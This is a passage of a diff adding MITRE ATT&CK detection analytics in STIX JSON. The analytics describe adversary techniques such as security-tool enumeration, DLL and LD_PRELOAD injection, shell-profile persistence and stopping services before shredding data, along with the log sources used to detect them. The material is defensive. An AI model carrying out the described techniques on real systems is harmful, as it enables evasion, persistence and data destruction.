"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProtectedServiceList", + "description": "Defines macOS services (e.g., securityd, keychain-related daemons) that should never be disabled." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d0d1375d-f5c2-4271-b5e7-415c478d5e86", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0016#AN0048", + "external_id": "AN0048" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0048", + "description": "Adversary executes commands to enumerate installed antivirus, EDR, or firewall agents using WMI, registry queries, and built-in tools (e.g., tasklist, netsh, sc query). Correlated with elevated process privileges or scripting engine usage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcess", + "description": "Defenders can tune based on trusted or known-good parent process relationships" + }, + { + "field": "ImagePathContains", + "description": "Regex match on adversary tool or enumeration script used" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3928ff9c-961e-455c-a2b1-d79ca788591f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0016#AN0049", + "external_id": "AN0049" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0049", + "description": "Adversary runs discovery commands such as `ps aux`, `systemctl status`, or `cat /etc/init.d/` to enumerate security software or services. Often occurs alongside privilege escalation or bash script execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutableName", + "description": "Adjust for custom script names or wrappers used in the environment" + }, + { + "field": "TimeWindow", + "description": "Tuning threshold for multiple enumeration commands within short duration" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9d76d84b-6393-45cf-b872-eb5921508ee3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0016#AN0050", + "external_id": "AN0050" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0050", + "description": "Adversary attempts to detect monitoring agents such as Little Snitch, KnockKnock, or other system daemons via process listing (`ps -e`), application folder checks, and system extension listing.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "execution of security-agent detection or enumeration commands" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ToolNameMatch", + "description": "Adversary may search for specific software names; defenders can tune based on local deployments" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8fcdd234-c8d8-4d95-b381-91c92cb319b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0017#AN0051", + "external_id": "AN0051" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0051", + "description": "Correlated modification of AppCompat registry keys and execution of sdbinst.exe to install custom shim databases. Followed by DLL injection via shim behavior into target application processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CustomShimPathAllowlist", + "description": "Filter out known-good .sdb paths in AppPatch\\Custom folders" + }, + { + "field": "TimeWindow", + "description": "Tunable window for correlating registry modification and sdbinst.exe execution" + }, + { + "field": "DLLInjectionTarget", + "description": "Expected target applications or binaries for injected DLLs" + }, + { + "field": "UserContext", + "description": "Limit alerting to admin or SYSTEM-context initiated shim installations" + }, + { + "field": "ShimCommandLinePattern", + "description": "Expected or benign sdbinst.exe command-line patterns to exclude" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cc5f309c-6eb0-4f96-ba1a-0f4fd3bc1b79", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0018#AN0052", + "external_id": "AN0052" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0052", + "description": "A process (often LOLBin or user-launched program) loads a DLL from a user-writable/UNC/Temp path or unsigned/invalid signer. Within a short window the DLL is (a) newly written to disk, (b) spawned as follow-on execution (rundll32/regsvr32), or (c) establishes outbound C2.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3, 22" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window between file write \u2192 module load \u2192 network (e.g., 0\u201320 minutes)." + }, + { + "field": "SuspiciousPathRegex", + "description": "Regex for user-writable/UNC/temp paths to flag (e.g., %TEMP%, %APPDATA%, \\\\*\\share\\)." + }, + { + "field": "UnsignedOnly", + "description": "Alert only when SignatureStatus != Valid to reduce noise." + }, + { + "field": "RareSignerThreshold", + "description": "Frequency threshold for unseen/rare signers in last N days." + }, + { + "field": "MinFileSizeKB", + "description": "Ignore tiny DLL stubs to cut noise." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--01c969ef-7057-44bd-bced-9b64a98234ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0018#AN0053", + "external_id": "AN0053" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0053", + "description": "A process loads a shared object (.so) via dlopen/LD_PRELOAD/open from non-standard or temporary locations (e.g., /tmp, /dev/shm), especially shortly after that .so is written or fetched, or linked via manipulated environment variables (LD_PRELOAD/LD_LIBRARY_PATH).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "auditd:SYSCALL", + "channel": "openat/read/mmap: Open/mmap .so files from non-standard paths" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "linux:syslog", + "channel": "sudo or service accounts invoking loaders with suspicious env vars" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http/file-xfer: Inbound/outbound transfer of ELF shared objects" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousDirs", + "description": "(/tmp, /dev/shm, /var/tmp, user home dirs) \u2013 adjust to your environment." + }, + { + "field": "TimeWindow", + "description": "Correlate write/fetch of .so to its load (e.g., 0\u201330 minutes)." + }, + { + "field": "EnvVarWatchlist", + "description": "LD_PRELOAD, LD_LIBRARY_PATH, LD_AUDIT." + }, + { + "field": "AllowedSigning/HashList", + "description": "Known-good signed or hashed shared objects." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--52a5dffb-f3a3-45fc-97b3-2c09fed8e0b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0018#AN0054", + "external_id": "AN0054" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0054", + "description": "A process loads a non-system .dylib/.so via dyld (dlopen/dlsym) from user-writable locations (~/Library, /tmp) or after the library was recently created/downloaded, often followed by network egress or persistence.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "macos:unifiedlog", + "channel": "dyld/unified log entries indicating image load from non-system paths" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "exec: Process execution context for loaders calling dlopen/dlsym" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_OPEN: Open of .dylib/.so in user-writable locations" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousDirs", + "description": "~/Library, /tmp, /Users/*/.* (hidden dirs) \u2013 tune to enterprise layout." + }, + { + "field": "UnsignedOnly", + "description": "Alert only when code-signing is invalid or absent." + }, + { + "field": "TimeWindow", + "description": "Correlate write/open to module load within N minutes." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e7b2c8da-d54d-446a-a7f6-062fe234a8cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0019#AN0055", + "external_id": "AN0055" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0055", + "description": "Executable or script payloads lacking symbol information and readable strings that are created or dropped by unusual or short-lived processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "EDR:file", + "channel": "File Metadata Inspection (Low String Entropy, Missing PDB)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntropyThreshold", + "description": "Payloads with extremely low string entropy may indicate stripped or obfuscated binaries" + }, + { + "field": "ParentProcessName", + "description": "Used to scope or whitelist common system builders, compilers, or admin tools" + }, + { + "field": "TimeWindow", + "description": "Correlates file creation and process spawning within a short timeframe" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--52d150da-36f4-43b4-96c4-b4fe33b012a2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0019#AN0056", + "external_id": "AN0056" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0056", + "description": "Executable or binary files created without symbol tables or with stripped sections, especially by non-user shell processes or compilers invoked outside standard dev paths.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "EXECVE" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open, write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "linux:osquery", + "channel": "hash, elf_info, file_metadata" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "StripFlags", + "description": "Flag combinations in compiled binaries indicating symbol table removal" + }, + { + "field": "DirectoryScope", + "description": "Whitelist compiler output directories to reduce false positives" + }, + { + "field": "FileSizeRange", + "description": "Heuristic boundaries for abnormal small or overly large stripped binaries" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1b5b9ee8-69e6-41d4-a529-aa18afcdf453", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0019#AN0057", + "external_id": "AN0057" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0057", + "description": "Creation of run-only AppleScripts or Mach-O binaries lacking symbol table and string references, especially when dropped by user space scripting engines or staging apps.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "file write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:osquery", + "channel": "code_signing, file_metadata" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RunOnlyFlag", + "description": "AppleScript flag to disable reverse engineering (run-only compiled scripts)" + }, + { + "field": "ParentProcess", + "description": "Filter to isolate staging or suspicious scripting engines" + }, + { + "field": "SignedStatus", + "description": "Tuning based on unsigned vs. developer-signed payloads" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a53e2979-2c41-44bc-b46e-13a19305e00d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0019#AN0058", + "external_id": "AN0058" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0058", + "description": "Inbound binary payloads transferred over HTTP/S with compressed or encoded headers, lacking signature markers or metadata indicative of compiler/toolchain.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http.log, files.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MIMEType", + "description": "Tune for octet-stream or mismatched Content-Type headers" + }, + { + "field": "PayloadSize", + "description": "Payload threshold for executable-sized artifacts" + }, + { + "field": "TransferEncoding", + "description": "Suspicious base64 or chunked encoding not matching normal app behavior" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3ae99176-ce61-4598-834b-f48d13802dcb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0020#AN0059", + "external_id": "AN0059" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0059", + "description": "Detects modification of shell startup/logout scripts such as ~/.bashrc, ~/.bash_profile, or /etc/profile, followed by anomalous process execution or network connections upon interactive or remote shell login.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "AUDIT_SYSCALL (open, write, rename, unlink)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "execution of unexpected binaries during user shell startup" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "unexpected network activity initiated shortly after shell session starts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines how soon after shell startup process execution or network activity is considered suspicious." + }, + { + "field": "TargetUser", + "description": "Limits detection to specific user accounts or roles such as root or service accounts." + }, + { + "field": "FilePathRegex", + "description": "Defines what shell configuration paths are considered relevant (e.g., .bashrc, .bash_logout, etc.)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6acf01f9-723e-499b-8774-3fa689a36ded", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0020#AN0060", + "external_id": "AN0060" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0060", + "description": "Correlates zsh shell configuration file changes (e.g., ~/.zshrc, ~/.zlogin, /etc/zprofile) with execution of unauthorized binaries or unexpected network activity triggered on Terminal.app launch.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "launch of Terminal.app or shell with non-standard environment setup" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_WRITE, targeting .zshrc, .zlogin, .zprofile" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileTargetList", + "description": "Customizable list of shell config files considered sensitive for detection." + }, + { + "field": "PayloadEntropyThreshold", + "description": "Used to distinguish benign from potentially obfuscated commands written to config files." + }, + { + "field": "UserContext", + "description": "Scoping based on user login class, e.g., administrative vs standard users." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--00449d4c-48c7-4977-bf38-86fbc4e79285", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0021#AN0061", + "external_id": "AN0061" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0061", + "description": "Adversary disables or stops critical services (e.g., Exchange, SQL, AV, endpoint monitoring) using native utilities or API calls, often preceding destructive actions (T1485, T1486). Behavioral chain: Elevated execution context + stop-service or sc.exe or ChangeServiceConfigW + terminated or disabled service + possible follow-up file manipulation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4672" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:System", + "channel": "EventCode=7036" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "WinEventLog:sysmon", + "channel": "EventCode=4" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time span between elevated privilege use and critical service stop" + }, + { + "field": "ServiceName", + "description": "Service names of interest (e.g., MSExchangeIS, SQLSERVERAGENT)" + }, + { + "field": "ParentProcess", + "description": "Upstream process lineage leading to service stop" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ea793457-89e6-47d2-8ae1-7fd2bd814f82", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0021#AN0062", + "external_id": "AN0062" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0062", + "description": "Adversary executes systemctl or service stop targeting high-value services (e.g., mysql, sshd), possibly followed by rm or shred against data stores. Behavioral chain: sudo/su usage + stop command + /var/log/messages or syslog entries + file access/delete.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve of systemctl or service stop" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "auditd:SYSCALL", + "channel": "unlink/unlinkat on service binaries or data targets" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "linux:syslog", + "channel": "service stopped messages" + } + ], + "x_mitre_modified_by_ref": 